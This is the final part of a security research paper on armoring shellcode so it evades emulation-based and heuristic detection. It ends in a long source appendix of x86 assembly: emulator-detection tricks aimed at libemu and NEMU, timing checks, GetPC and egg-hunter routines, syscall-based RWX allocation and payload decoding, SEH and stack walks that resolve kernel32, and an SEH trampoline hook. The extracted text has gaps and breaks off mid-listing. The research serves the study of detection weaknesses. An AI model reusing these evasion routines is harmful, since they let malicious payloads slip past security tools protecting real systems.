Our	   results	   show	   that	   a	   sufficiently	   skilled	   attacker	   could	   armor	   his	   shellcode	   to	  
bypass	  all	  investigated	  approaches	  or,	  even	  worse,	  develop	  an	  easy-­‐to-­‐use	  library	  to	  
lower	  the	  barrier	  for	  armoring	  and	  provide	  other	  attackers	  with	  such	  an	  addition	  to	  
their	  arsenal.	  
6. References	  
1. Polychronakis,	  M.,	  Anagnostakis,	  K.G.,	  Markatos,	  E.P.:	  Network–Level	  polymorphic	  shellcode	  
detection	  using	  emulation.	  In:	  Bu	  ̈schkes,	  R.,	  Laskov,	  P.	  (eds.)	  DIMVA	  2006.	  LNCS,	  vol.	  4064,	  
pp.	  54–73.	  Springer,	  Heidelberg	  (2006)	  
2. Shimamura,	  M.,	  Kono,	  K.:	  Yataglass:	  Network-­‐level	  code	  emulation	  for	  analyzing	  memory-­‐
scanning	  attacks.	  In:	  Flegel,	  U.,	  Bruschi,	  D.	  (eds.)	  DIMVA	  2009.	  LNCS,	  vol.	  5587,	  pp.	  68–87.	  
Springer,	  Heidelberg	  (2009)	  
3. Polychronakis,	  M.,	  Anagnostakis,	  K.,	  Markatos,	  E.:	  Comprehensive	  shellcode	  detection	  using	  
runtime	  heuristics.	  In:	  Proc.	  of	  the	  26th	  Annual	  Computer	  Security	  Applications	  Conference	  
(ACSAC	  2010),	  pp.	  287–296.	  ACM	  (2010)	  
4. Snow,	  K.,	  Krishnan,	  S.,	  Monrose,	  F.,	  Provos,	  N.:	  SHELLOS:	  Enabling	  Fast	  Detection	  and	  Forensic	  
Analysis	  of	  Code	  Injection	  Attacks.	  In:	  USENIX	  Security	  Symposium	  (2011)	  
5. Egele,	  M.,	  Wurzinger,	  P.,	  Kruegel,	  C.,	  Kirda,	  E.:	  Defending	  browsers	  against	  drive	  by	  downloads:	  
Mitigating	  heap-­‐spraying	  code	  injection	  attacks.	  In:	  Flegel,	  U.,	  Bruschi,	  D.	  (eds.)	  DIMVA	  
2009.	  LNCS,	  vol.	  5587,	  pp.	  88–106.	  Springer,	  Heidelberg	  (2009)	  
6. Gu,	  B.,	  Bai,	  X.,	  Yang,	  Z.,	  Champion,	  A.,	  Xuan,	  D.:	  Malicious	  shellcode	  detection	  with	  virtual	  
memory	  snapshots.	  In:	  Proc.	  of	  IEEE	  INFOCOM	  2010,	  pp.	  1–9.	  IEEE	  (2010)	  
7. Portokalidis,G.,Slowinska,A.,Bos,H.:	  Argos:	  An	  emulator	  for	  fingerprinting	  zero-­‐day	  attacks	  for	  
advertised	  honeypots	  with	  automatic	  signature	  generation.	  In:	  Proc.	  of	  ACM	  SIGOPS	  
Operating	  Systems	  Review,	  vol.	  40(4),	  pp.	  15–27.	  ACM	  (2006)	  
8. Zhang,	  Q.,	  Reeves,	  D.,	  Ning,	  P.,	  Iyer,	  S.:	  Analyzing	  network	  traffic	  to	  detect	  self-­‐decrypting	  
exploit	  code.	  In:	  Proc.	  of	  the	  2nd	  ACM	  Symposium	  on	  Information,	  Computer	  and	  
Communications	  Security	  (CCS	  2007),	  pp.	  4–12.	  ACM	  (2007)	  
9. Polychronakis,M.,	  Anagnostakis,	  K.G.,	  Markatos,	  E.P.:	  Emulation-­‐based	  detection	  of	  non-­‐self-­‐
contained	  polymorphic	  shellcode.	  In:	  RAID	  2007.	  LNCS,	  vol.	  4637,	  pp.	  87–106.	  Springer,	  
Heidelberg	  (2007)	  
10. Honeynet	  Project,	  Dionaea,	  a	  low-­‐interaction	  honeypot	  (2008),	  http://www.	  
honeynet.org/project/Dionaea	  
11. Markatos,	  E.,	  Anagnostakis,	  K.:	  Noah:	  A	  european	  network	  of	  affined	  honeypots	  for	  cyber-­‐
attack	  tracking	  and	  alerting.	  The	  Parliament	  Magazine	  262	  (2008)	  
12. Baecher,	  P.,	  Koetter,	  M.:	  libemu	  (2009),	  http://libemu.carnivore.it/	  
13. Branco,	  R.,	  Barbosa,	  G.,	  Neto,	  P.:	  Scientific	  but	  not	  academical	  overview	  of	  malware	  anti-­‐
debugging,	  anti-­‐disassembly	  and	  anti-­‐vm	  technologies.	  In:	  Black	  Hat	  	  Technical	  Security	  
Conf.,	  Las	  Vegas,	  Nevada	  (2012)	  
14. Sikorski,	  M.,	  Honig,	  A.:	  Practical	  Malware	  Analysis:	  The	  Hands-­‐On	  Guide	  to	  Dissecting	  
Malicious	  Software.	  No	  Starch	  Press	  (2012)	  
15. Ferrie,	  P.:	  Attacks	  on	  more	  virtual	  machine	  emulators.	  Symantec	  Technology	  Exchange	  
(2007)	  
16. Raffetseder,	  T.,	  Kruegel,	  C.,	  Kirda,	  E.:	  Detecting	  system	  emulators.	  In:	  Garay,	  J.A.,	  Lenstra,	  
A.K.,	  Mambo,	  M.,	  Peralta,	  R.	  (eds.)	  ISC	  2007.	  LNCS,	  vol.	  4779,	  pp.	  1–18.	  Springer,	  
Heidelberg	  (2007)	  
17. Bania,	  P.:	  Evading	  network-­‐level	  emulation.	  arXiv	  preprint	  arXiv:0906.1963	  (2009)	  
18. Skape,	  Using	  dual-­‐mappings	  to	  evade	  automated	  unpackers	  (October	  2008),	  	  	  	  	  	  
http://www.uninformed.org/?v=10&a=1&t=sumry	  
	  
19. Linn,	  C.,	  Rajagopalan,	  M.,	  Baker,	  S.,	  Collberg,	  C.,	  Debray,	  S.,	  Hartman,	  J.:	  Protecting	  against	  
unexpected	  system	  calls.	  In:	  Proc.	  of	  the	  14th	  USENIX	  Security	  Symposium,	  pp.	  239–254	  
(2005)	  
20. Chung,	  S.P.,	  Mok,	  A.K.:	  Swarm	  attacks	  against	  network-­‐level	  emulation/analysis.	  In:	  
Lippmann,	  R.,	  Kirda,	  E.,	  Trachtenberg,	  A.	  (eds.)	  RAID	  2008.	  LNCS,	  vol.	  5230,	  pp.	  175–190.	  
Springer,	  Heidelberg	  (2008)	  
21. 0vercl0k,	  RP++	  ROP	  Sequences	  Finder	  (2013),	  	  	  	  	  	  https://github.com/0vercl0k/rp	  
	  
22. kingcopes:	  Attacking	  the	  Windows	  7/8	  Address	  Space	  Randomization	  (2013),	  
	  http://kingcope.wordpress.com/2013/01/24/attacking-­‐the-­‐windows-­‐78-­‐	  	  address-­‐space-­‐
randomization/	  
23. Polychronakis,	  M.,	  Keromytis,	  A.D.:	  Rop	  payload	  detection	  using	  speculative	  code	  
execution.	  In:	  2011	  6th	  International	  Conference	  on	  Malicious	  and	  Unwanted	  Software	  
(MALWARE),	  pp.	  58–65.	  IEEE	  (2011)	  
24. Kharn:	  Exploring	  RDA	  (2006),	  http://www.awarenetwork.org/etc/alpha/?x=3	  
25. Rivest,	  R.,	  Shamir,	  A.,	  Wagner,	  D.:	  Time-­‐lock	  puzzles	  and	  timed-­‐release	  crypto.	  
	  Massachusetts	  Institute	  of	  Technology,	  Tech.	  Rep.	  (1996)	  
26. Nomenumbra:	  Countering	  behavior	  based	  malware	  analysis	  (2009),	  https://	  	  	  	  	  	  
har2009.org/program/track/Other/57.en.html	  
	  
27. Glynos,	  D.:	  Context-­‐keyed	  Payload	  Encoding:	  Fighting	  the	  Next	  Generation	  of	  IDS.	  In:	  Proc.	  
of	  Athens	  IT	  Security	  Conference,	  ATH.C0N	  2010	  (2010)	  
28. Aycock,	  J.,	  de	  Graaf,	  R.,	  Jacobson	  Jr.,	  M.:	  Anti-­‐disassembly	  using	  cryptographic	  hash	  
functions.	  Journal	  in	  Computer	  Virology	  2(1),	  79–85	  (2006)	  
29. Davi,	  L.,	  Sadeghi,	  A.,	  Winandy,	  M.:	  ROPdefender:	  A	  detection	  tool	  to	  defend	  against	  return-­‐
oriented	  programming	  attacks.	  In:	  Proc.	  of	  the	  6th	  ACM	  Symposium	  on	  Information,	  
Computer	  and	  Communications	  Security	  (ASIACCS	  2011),	  pp.	  40–51.	  ACM	  (2011)	  
30. Chen,	  P.,	  Xiao,	  H.,	  Shen,	  X.,	  Yin,	  X.,	  Mao,	  B.,	  Xie,	  L.:	  DROP:	  Detecting	  return-­‐	  oriented	  
programming	  malicious	  code.	  In:	  Prakash,	  A.,	  Sen	  Gupta,	  I.	  (eds.)	  ICISS	  2009.	  LNCS,	  vol.	  
5905,	  pp.	  163–177.	  Springer,	  Heidelberg	  (2009)	  
31. Onarlioglu,	  K.,	  Bilge,	  L.,	  Lanzi,	  A.,	  Balzarotti,	  D.,	  Kirda,	  E.:	  G-­‐Free:	  Defeating	  return-­‐oriented	  
programming	  through	  gadget-­‐less	  binaries.	  In:	  Proc.	  of	  the	  26th	  Annual	  Computer	  Security	  
Applications	  Conference	  (ACSAC	  2010),	  pp.	  49–58.	  ACM	  (2010)	  
32. P.	  Beaucamps,	  “Advanced	  polymorphic	  techniques.”	  International	  Journal	  of	  Computer	  
Science,	  vol.	  2,	  no.	  3,	  2007.	  




Note:	  In	  the	  source-­‐code	  listings	  section	  it	  is	  incorrectly	  stated	  that	  	  'See	  
metasploit	  module'.	  	  Unfortunately	  Our	  Metasploit	  modules	  aren't	  yet	  
ready	  to	  be	  released	  publicly.	  
SOURCE CODE LISTING 
1 EMULATION LIMITATIONS 
1.1 UNSUPPORTED INSTRUCTIONS 
1. FPU 
a. FNSTENV 
  FLDZ 
  FNSTENV [esp-0xC] 
  pop eax 











movd mm0, [esp] 
pxor mm1, mm1 
paddd mm1,mm0 







  jmp sse_startup 
sse_getpc_label: 
 
   xor eax,eax 
   xor ecx,ecx 
   ; move [esp] to eax 
   sub ecx, -0x13 ; 0x13 = 00010011 = 3 leading zeros 
   lzcnt eax, ecx ; SSE4 instruction leading-zero-count of ecx in eax, otherwise eax = 0 
   cmp eax, 3 
   cmovae eax,[esp] ; if eax >= 3 (which should be), then move getpc to eax 
    ; SSE-based opaque predicate 
   ; save return address in xmm0 
   push eax 
   movss xmm0, [esp] ; xmm0 = eax = return address 
   pop eax 
   ; overwrite return address with 0x13 (if SSE isn't emulated this will break proper controlflow) 
   mov [esp], ecx 
   ; set xmm1 to xmm0 
   pxor xmm1, xmm1 
   maxss xmm1, xmm0 
   ; set return address back again 
   movss [esp], xmm1 







  jmp obsol_startup 
obsol_getpc_label: 
 
   xor eax,eax 
   stc ; set carry 
   salc ; al = 1 if carry is set 
   test eax,eax 
   jz obsol_startup ; should never be taken because of salc 
   xor al,0xFF ; if salc executed al=0xFF 
   xchg eax,ecx 
 
   mov eax,0x0208FFFF 
   xor eax,0x0301FFFF ; eax = 0x01090000 
   bswap eax 
   aad 2 
   xchg eax,edx ; edx = 0x13 = 00010011 ; xor dx will yield all zeros 
   arpl dx, ax ; zero flag should always be 0 in this case (it is always 1 before instruction executes, 
incorrect emulation causes infinite loop) 
   jz obsol_startup    
   xor dx,dx ; edx should be zero now 
   add edx,esp ; edx = esp 
   mov ebx,edx ; edx serves as base address to xlatb with offset eax = 0 (hence [esp]) 
   xor edx,edx 
   xor ecx,ecx 
   sub ecx,-4   ; 4 bytes 
xlatloop: 
   xor eax,eax 
   xlatb ; al = [esp+0] 
   shl edx,8 
   mov dl,al 
   inc ebx 
loop xlatloop 
   bswap edx 
   ; edx = [esp] 
   mov eax,edx 




1.2 EMULATOR DETECTION 
1. LIBEMU 
  sub eax,ecx ; eax = ecx => eax = 0 
  sub ecx,edx ; ecx = edx => ecx = 0 
  sub edx,ebx ; edx = ebx => edx = 0 
  sub ebx,esi ; ebx = esi => ebx = 0 
  sub esi,edi ; esi = edi => esi = 0 
  add eax,ecx 
  add eax,edx 
  add eax,ebx 
  add eax,esi 
  ; eax = ecx = edx = ebx = esi = edi => eax = 0 
 
  jmp LIBEMU_startup 
LIBEMU_getpc_label: 
 
  test eax,eax 
  cmovnz ecx,esp ; only move esp to ecx if eax != 0 else incorrect address 
  mov eax,[ecx] ; use [ecx] instead of [eax] to avoid nullbytes 
  ret 
 
LIBEMU_startup: 
  call LIBEMU_getpc_label 
 
2. NEMU-GP 
  xor eax,ebx 
  xor eax,ecx 
  xor eax,edx 
  xor eax,ebp 
  xor eax,esi 
  xor eax,edi 
  ;eax = 0x2F769097 in NEMU since all static GP register values in NEMU xor'ed together 
  xor eax,0x2F769097 ; eax = 0x2F769097 => eax = 0 
 
  jmp NEMU_GP_startup 
NEMU_GP_getpc_label: 
  test eax,eax 
  cmovnz ecx,esp ; only move esp to ecx if eax != 0 
  mov eax,[ecx] 
  ret 
 
NEMU_GP_startup: 
  call NEMU_GP_getpc_label 
 
3. NEMU-CPUID 
  xor esi,esi 
  xor edi,edi 
  mov eax,edi 
  xor ecx,ecx 
  mov edx,ecx 
  mov ebx,ecx 
  cpuid 
  ;ebx,edx,ecx = vendor string 
  ; 
  ;NEMU: 
  ; edx = 0 
  ; ebx = 0 
  ; ecx = 0 
   
  ; eax = 0 because as CPUID parameter, hence not eax means eax = 0xFFFFFFFF 
  not eax 
  ; On NEMU, registers aren't affected by CPUID instruction and still are 0, on a real CPU 
  ; They will hold vendor string, hence only on NEMU they will be zero (and hence not reg will 
result in 0xFFFFFFFF) 
  not edx 
  not ebx 
  not ecx 
  xor eax,edx ; eax = 0 
  xor eax,ebx ; eax = 0xFFFFFFFF 
  xor eax,ecx ; eax = 0 
 
  jmp NEMU_CPUID_startup 
 NEMU_CPUID_getpc_label: 
  test eax,eax 
  cmovnz ecx,esp ; only move esp to ecx if eax != 0 
  mov eax,[ecx] 
  ret 
 
 NEMU_CPUID_startup: 
  call NEMU_CPUID_getpc_label 
 
4. TIMING 
  xor ecx,ecx 
  sub ecx,-2 
timing_loop: 
  push ecx ; save loop counter 
 
  CPUID ; serialize to prevent out-of-order execution 
  RDTSC ; read clock 
 
  mov ecx,[esp] ; restore counter garbled by CPUID 
 
  ; TSC in EDX:EAX (higher order 32bits into edx, lower order 32 bits into eax) 
  ; consider only (1st 3 bytes of) lower order bits because loop won't run long enough to affect edx 
  push eax 
 
  start_check: 
 
    cmp ecx,2 
    jb second_pass 
 
    ; code to measure 
    first_pass: 
      xor ecx,ecx 
      sub ecx,-0xFF 
      first_loop: 
        nop 
      loop first_loop 
      jmp end_check 
 
    second_pass: 
      xor ecx,ecx 
      sub ecx,-0xFF 
      second_loop: 
        lea eax,[eax+ecx] 
        imul ecx 
      loop second_loop       
 
  end_check: 
   
  RDTSCP ; read clock second time (guarantee all code in between has been executed) 
  push eax 
  CPUID 
 
  pop eax ; eax = new eax 
  pop edx ; edx = old eax 
  sub eax,edx ; eax = diff in eax 
  shr eax,8 ; only interested in first 3 bytes of dword (more accurate measurements would yield 
false positives on non-emulators,etc.) 
 
  pop ecx ; restore loop counter 
  cmp ecx,2 ; first pass? store diffs @ ... 
  cmove esi,eax ; store first pass at esi 
  cmovne edi,eax ; store 2nd pass at edi 
loop timing_loop 
  ; esi ~ 12 
  ; edi ~ 16 
  xor edx,edx ; edx needs to be zero for division 
  mov eax,edi ; 2nd pass 
  idiv esi ; eax=2nd/1st 
  ; eax ~ 1   
 
  jmp TIME_startup 
 TIME_getpc_label: 
  cmp eax,(1+5) ; result can be off by at most 5 
  cmovle ecx,esp ; only move esp to ecx if eax <= (1+5) 
  mov eax,[ecx] 
  ret 
 
 TIME_startup: 
  call TIME_getpc_label 
2 HEURISTICS LIMITATIONS 
2.1 GETPC EVASION 
1. Stack scanner 
  DIST   EQU (getpc - marker_label) 
   
  jmp stubstart 
marker_label: 
  dd 0xCAFECAFE 
stubstart: 
  mov esi,esp 
 
scan_stack: 
  mov eax,[esi] 
  cmp eax,0xCAFECAFE 
  je found_marker 




  lea eax,[esi + DIST] 
  ; eax now holds address of getpc: 
getpc: 
 
2. Stack constructor 
See metasploit module 
2.2 PAYLOAD READ (PRT) EVASION 
1. SYSCALL-based relocation 
  jmp short start_sc 
; locate at start of code so calls don't contain nullbytes 
 
do_syscall: 
  ; due to wow64 (otherwise it would be mov edx,esp + sysenter/syscall) 
  xor ecx, ecx 
  lea edx,[esp+4] 
   
  xor edi,edi 
  sub edi,-0c0h ; no nullbytes! 
 
  call [fs:edi] ; fs:0c0h 




  add esp,-8 ; reserve two dwords 
  mov esi,esp ; save address 
 
  xor eax,eax 
  sub eax,-(end_payload - payload) 
  mov [esi],eax ; region_size 
 
  xor eax,eax 
  mov [esi+4],eax ; out_base = 0 
  sub eax,-PAGE_READWRITE_EXECUTE 
  push eax ; push PAGE_READWRITE_EXECUTE 
   
  sub eax,-(MEM_COMMIT - PAGE_READWRITE_EXECUTE) 
  push eax ; push MEM_COMMIT 
   
  push esi ; region_size pointer 
 
  xor eax,eax 
  push eax ; zeros 
   sub esi,-4 ; out base address 
  push esi ; out base address 
  push -1 ; process handle 
   
  xor eax,eax 
  sub eax, -0x0015 ; allocatevirtualmemory 
  call do_syscall 
 
  push eax   
 
  xor eax,eax 
  sub eax,-(end_payload - payload) 
  push eax ; size 
 
  push dword [esi] ; dst 
  jmp get_payload_address 
callback: 
  ; payload address is now pushed on the stack 
  push -1 ; process handle 
 
  xor eax, eax 
  sub eax, -0x03C ; ReadVirtualMemory 
  call do_syscall 
 
  mov esi,[esi] 
 
  xor ecx,ecx 
  sub ecx,-((end_payload - payload)/4) 
 
  mov ebx,0x1010101 
 
  push esi 
 
decoder: 
  xor [esi],ebx 
  sub esi,-4 
loop decoder 
 
  ret ; jmp to out_base 
 
get_payload_address: 
  call callback 
 
; bogus payload 
payload: 
  times (4*32) db 0x91 
end_payload: 
 
2. Stack constructor 
See metasploit module 
2.3 KERNEL32.DLL BASE ADDRESS RESOLUTION 
1. SEH walk: 
 
  push esi 
  push ecx 
 
  xor ecx,ecx 
  not ecx ; ecx = 0xFFFFFFFF 
 
  mov esi,esp 
  seh_walking:   
    lodsd ; load dword from stack 
    cmp eax,ecx 
  jne seh_walking 
    ; [esi-4] now points to 0xFFFFFFFF so if this truly is the last SEH frame, [esi] (SE Handler) 
should point into ntdll.dll and [esi+20] (return into RtlUserThreadStart) too 
    mov eax,[esi] ; potential SE Handler 
    sub eax,[esi+16] ; potential return address of top stack frame 
    cmp eax,0x3D2B0 ; Distance between default SE Handler and return into RtlUserThreadStart 
on my system 
  jne seh_walking ; continue walking 
 
  ; esi now points to default SE Handler in ntdll.dll 
  mov eax,[esi] 
 
  find_begin: 
    dec eax 
    xor ax,ax     ; work through image until we find base address 
    cmp word [eax],0x5A4D ; MZ start of PE header 
  jnz find_begin 
 
  pop ecx 
  pop esi 
 
  ; eax points to ntdll.dll base address 
 
  jmp data_label ; get data area address 
get_back: 
  mov esi,[esp] 
  sub esp,-4 ; restore stack 
 
  mov ebx, eax ; store ntdll.dll base in ebx 
 
    add eax, [eax+0x3C] ; Start of PE header 
    mov eax, [eax+0x78] ; RVA of export dir 
    add eax, ebx  ; VA of export dir 
    mov edi, eax  ; store export dir in edi 
 
    lea edx,[esi+api_LdrLoadDll] 
    mov ecx,[esi+len_LdrLoadDll] 
    call GetFuncAddr ; find function address in ntdll.dll 
 
    ; eax now holds LdrLoadDll address in ntdll.dll 
 
    mov ecx,esi 
    add ecx,hModule 
    push ecx ; push &hModule 
 
    push edi     
     
    mov edi,esi 
    add edi,unicode_string ; address of kernel32.dll unicode string 
 
    mov ecx,esi 
    add ecx,uModName ; address of UNICODE_STRING structure 
 
    mov [ecx+4],edi  ; store at right location 
 
    mov edi,esi 
    add edi,len_unicode_string ; address of length of string 
    mov di,[edi] ; get length (USHORT) 
    mov [ecx],di ; store length at right place (USHORT) 
    mov [ecx+2],di ; max len = len 
    pop edi 
 
    push ecx ; push &uModName 
 
    push 0 
    push 0 
    call eax 
    ; uModName = unicode "kernel32.dll" 
    ; hModule = DWORD holding handle 
    ; LdrLoadDll(NULL,0x00000001,&uModName,&hModule) 
 
    mov eax,[esi+hModule] 
    ; eax now holds kernel32.dll base address 
 
    jmp payloadStart 
 





; Short function 
; 
; Pre: 
;      ebx = ntdll.dll base 
;      edi = export dir addr 
; 
GetFuncAddr: 
    push esi 
    push edx 
    push ebx 
    push edi 
  
    mov esi, [esp] ; export dir 
    mov esi, [esi+0x20] ; Relative virtual address of Export names table 
    add esi, [esp+4]  ;Virtual address of Export names table (add kernel base) 
    xor ebx,ebx 
    cld 
  
    findfunction: 
      inc ebx 
      lodsd 
      add eax , [esp+4]   ; eax points to function string name (add kernel base) 
      push esi      ; store this 
      mov esi,eax 
      mov edi,edx 
      cld 
      push ecx 
      repe cmpsb    ; compare bytes to see if it matches function we are looking for 
      pop ecx 
      pop esi 
    jne findfunction 
 
    dec ebx 
    mov eax,[esp] ; export directory 
    mov eax,[eax+0x24] ; Relative virtual address of Export ordinal table 
    add eax,[esp+4] ; Virtual address of Export ordinal table (add kernel base) 
    movzx eax , word [ebx*2+eax]  ; eax now holds the ordinal of our function 
    mov ebx,[esp] ; export directory 
    mov ebx,[ebx+0x1C] ; Relative virtual address of Export Address Table 
    add ebx,[esp+4] ;virtual address of Export Address Table (add kernel base) 
    mov ebx,[eax*4+ebx] ; put it all together 
    add ebx,[esp+4] ; add kernel base 
    mov eax,ebx ; eax now holds the address we're looking for 
  
    pop edi 
    pop ebx 
    pop edx 
    pop esi 
    ret 
 
  ;==================================== 
  ;Data area (holds variables in shellcode body) 
  ;==================================== 
  data_label: 
    call get_back 
 
  data_area_start: 
  api_LdrLoadDll_addr: 
    db 'LdrLoadDll',0x00 
  len_LdrLoadDll_addr:          
    dd $-api_LdrLoadDll_addr 
  hModule_addr: 
    dd 0 
  uModName_addr: 
    ; UNICODE_STRING structure 
    ; USHORT length 
    dw 64 
    ; USHORT maximumlength 
    dw 64 
    ; PWSTR buffer 
    dd 0 
  unicode_string_addr: 
    db u('C:\windows\system32\kernel32.dll') ; 64 bytes long 
  len_unicode_string_addr: 
    dw $-unicode_string_addr 
 
  ;=================== 
  ;Just some constants 
  ;=================== 
 
  api_LdrLoadDll EQU (api_LdrLoadDll_addr - data_area_start) 
  len_LdrLoadDll EQU (len_LdrLoadDll_addr - data_area_start) 
  unicode_string EQU (unicode_string_addr - data_area_start) 
  len_unicode_string EQU (len_unicode_string_addr - data_area_start) 
 
  hModule  EQU (hModule_addr - data_area_start) 
  uModName EQU (uModName_addr - data_area_start) 
 
payloadStart: 
    ; eax now holds kernel32.dll base address at start of payload 
 
 
2. Stack-frame walk: 
 
push esi 
  push ecx 
 
  mov eax,ebp 
  stack_walking: 
    mov esi,eax 
    lodsd 
    mov ecx,[eax] 
    test ecx,ecx 
  jnz stack_walking 
  ; esi now points to last stack frame (and since lodsd increments esi by 4 it points to function in 
ntdll.dll) 
  mov eax,[esi] 
 
  find_begin: 
    dec eax 
    xor ax,ax     ; work through image until we find base address 
    cmp word [eax],0x5A4D ; MZ start of PE header 
  jnz find_begin 
 
  pop ecx 
  pop esi 
 
  ; eax points to ntdll.dll base address 
   jmp data_label ; get data area address 
get_back: 
  mov esi,[esp] 
  sub esp,-4 ; restore stack 
 
  mov ebx, eax ; store ntdll.dll base in ebx 
 
    add eax, [eax+0x3C] ; Start of PE header 
    mov eax, [eax+0x78] ; RVA of export dir 
    add eax, ebx  ; VA of export dir 
    mov edi, eax  ; store export dir in edi 
 
    lea edx,[esi+api_LdrLoadDll] 
    mov ecx,[esi+len_LdrLoadDll] 
    call GetFuncAddr ; find function address in ntdll.dll 
 
    ; eax now holds LdrLoadDll address in ntdll.dll 
 
    mov ecx,esi 
    add ecx,hModule 
    push ecx ; push &hModule 
 
    push edi     
     
    mov edi,esi 
    add edi,unicode_string ; address of kernel32.dll unicode string 
 
    mov ecx,esi 
    add ecx,uModName ; address of UNICODE_STRING structure 
 
    mov [ecx+4],edi  ; store at right location 
 
    mov edi,esi 
    add edi,len_unicode_string ; address of length of string 
    mov di,[edi] ; get length (USHORT) 
    mov [ecx],di ; store length at right place (USHORT) 
    mov [ecx+2],di ; max len = len 
    pop edi 
 
    push ecx ; push &uModName 
 
    push 0 
    push 0 
    call eax 
    ; uModName = unicode "kernel32.dll" 
    ; hModule = DWORD holding handle 
    ; LdrLoadDll(NULL,0x00000001,&uModName,&hModule) 
 
    mov eax,[esi+hModule] 
    ; eax now holds kernel32.dll base address 
 
    jmp payloadStart 
 





; Short function 
; 
; Pre: 
;      ebx = ntdll.dll base 
;      edi = export dir addr 
; 
GetFuncAddr: 
    push esi 
    push edx 
    push ebx 
    push edi 
  
    mov esi, [esp] ; export dir 
    mov esi, [esi+0x20] ; Relative virtual address of Export names table 
    add esi, [esp+4]  ;Virtual address of Export names table (add kernel base) 
    xor ebx,ebx 
    cld 
  
    findfunction: 
      inc ebx 
      lodsd 
      add eax , [esp+4]   ; eax points to function string name (add kernel base) 
      push esi      ; store this 
      mov esi,eax 
      mov edi,edx 
      cld 
      push ecx 
      repe cmpsb    ; compare bytes to see if it matches function we are looking for 
      pop ecx 
      pop esi 
    jne findfunction 
 
    dec ebx 
    mov eax,[esp] ; export directory 
    mov eax,[eax+0x24] ; Relative virtual address of Export ordinal table 
    add eax,[esp+4] ; Virtual address of Export ordinal table (add kernel base) 
    movzx eax , word [ebx*2+eax]  ; eax now holds the ordinal of our function 
    mov ebx,[esp] ; export directory 
    mov ebx,[ebx+0x1C] ; Relative virtual address of Export Address Table 
    add ebx,[esp+4] ;virtual address of Export Address Table (add kernel base) 
    mov ebx,[eax*4+ebx] ; put it all together 
    add ebx,[esp+4] ; add kernel base 
    mov eax,ebx ; eax now holds the address we're looking for 
  
    pop edi 
    pop ebx 
    pop edx 
    pop esi 
    ret 
 
  ;==================================== 
  ;Data area (holds variables in shellcode body) 
  ;==================================== 
  data_label: 
    call get_back 
 
  data_area_start: 
  api_LdrLoadDll_addr: 
    db 'LdrLoadDll',0x00 
  len_LdrLoadDll_addr:          
    dd $-api_LdrLoadDll_addr 
  hModule_addr: 
    dd 0 
  uModName_addr: 
    ; UNICODE_STRING structure 
    ; USHORT length 
    dw 64 
    ; USHORT maximumlength 
    dw 64 
    ; PWSTR buffer 
    dd 0 
  unicode_string_addr: 
    db u('C:\windows\system32\kernel32.dll') ; 64 bytes long 
  len_unicode_string_addr: 
    dw $-unicode_string_addr 
 
  ;=================== 
  ;Just some constants 
  ;=================== 
 
  api_LdrLoadDll EQU (api_LdrLoadDll_addr - data_area_start) 
  len_LdrLoadDll EQU (len_LdrLoadDll_addr - data_area_start) 
  unicode_string EQU (unicode_string_addr - data_area_start) 
  len_unicode_string EQU (len_unicode_string_addr - data_area_start) 
 
  hModule  EQU (hModule_addr - data_area_start) 
  uModName EQU (uModName_addr - data_area_start) 
 
payloadStart: 




  xor ecx,ecx 
  not ecx ; ecx = 0xFFFFFFFF 
 
  mov esi,esp 
  seh_walking:   
    lodsd ; load dword from stack 
    cmp eax,ecx 
  jne seh_walking 
    ; [esi-4] now points to 0xFFFFFFFF so if this truly is the last SEH frame, [esi] (SE Handler) should 
point into ntdll.dll and [esi+20] (return into RtlUserThreadStart) too 
    mov eax,[esi] ; potential SE Handler 
    sub eax,[esi+16] ; potential return address of top stack frame 
    cmp eax,0x3D2B0 ; Distance between default SE Handler and return into RtlUserThreadStart on 
our test system 
  jne seh_walking ; continue walking 
   ; esi now points to default SE Handler 
 
  jmp gethandler 
gothandler: 
  pop ecx ; ecx = address of handler 
 
  ; now find last SEH handler based by scanning for chain in other direction 
  ; Since we cannot be 100% sure every address pointing to our SEH frame is actuall an SEH frame 
itself (it could be a coincidence), we will change the DWORD after every suspected SEH frame 
pointer 
  ; to our new handler so we at least cover all potential frames. It doesn't matter much if we 
destroy previous stack integrity anyway since our shellcode doesn't depend on it 
  ; We run the small risk of encountering an address pointing to our suspected frame before the 
actual previous SEH frame and thus missing the entire chain, fixing that would require us to scan 
the entire stack down 
  ; for each suspected frame, easy to further implement but a time-risk tradeoff really. 
   
  lea eax,[esi-4] ; address of current SEH frame 
 
scan_da_stack: 
  mov [esi],ecx ; suspected exception handler address = new exception handler address 
next_scan: 
  cmp esi,esp ; have we reached current stack pointer again? 
  je done_patching 
  add esi,-4 ; next dword 
  cmp [esi], eax ; does this dword point to last SEH frame we checked? 
  jne next_scan 
  mov eax, esi ; eax = suspected frame 
  sub esi,-4 ; esi = suspected handler 
  jmp scan_da_stack 
done_patching: 
 
  xor ebx,ebx ; this will hold current scanning address 
  mov eax,0xCAFECAFE ; egg 
 
loopin: 
  push byte 0x2 ; loop length 2 
  pop ecx 
  mov edi,ebx ; edi = ebx 
  repe scasd ; compare 8 bytes in edi with eax. ebx invalid => trigger handler 
  jnz next ; not equal? next 
  jmp edi ; equal? found it 
  or bx,0xfff ; return here from handler, go to next page 
next: 
  inc ebx 
  jmp short loopin 
 
gethandler: 
  call gothandler 
 
handler: 
  push byte 0xC 
  pop ecx ; ecx = c 
  mov eax,[esp+ecx] ; eax = address of offending instruction 
  mov cl,0xB8 
  add dword [eax+ecx],byte 0x6 ; six bytes past offending instruction (= address of or bx,0xfff) 
  pop eax 
  add esp,byte +0x10 
  push eax 
  xor eax,eax 





2. SEH trampoline 
 
  PAGE_EXECUTE_READWRITE EQU 0x40 
 
  jmp gethandler 
gothandler: 
  pop ecx ; ecx = address of custom handler 
  mov ebx, ecx ; ebx = address of custom handler 
 
  ; get current handler address 
  xor eax,eax 
  mov eax,[fs:eax] 
  mov eax,[eax+4] 
 
  push ecx ; custom handler address 
  push eax ; original handler address 
 
  xor ecx,ecx 
  sub ecx,-20 ; size of trampoline 
 
  add ebx,ecx ; ebx = address of oldProtect DWORD 
  mov esi,[ebx+4] ; ebx+4 = address of aVirtualProtect (which holds user-defined address of 
VirtualProtect) 
 
  push ebx 
  push byte PAGE_EXECUTE_READWRITE 
  push ecx 
  push eax 
  ;call _VirtualProtect@16 
  call esi ; VirtualProtect 
 
  pop edi ; store at original handler address 
  pop esi ; esi = custom handler address 
 
  ; install 'trampoline' detour hook (we don't want to write entire handler there in case the old 
handler function is smaller than the new one and we end up overwriting code that still needs to 
be executed properly) 
  mov byte [edi],0xB8 ; mov eax, 
  mov dword [edi+1],esi ; custom handler 
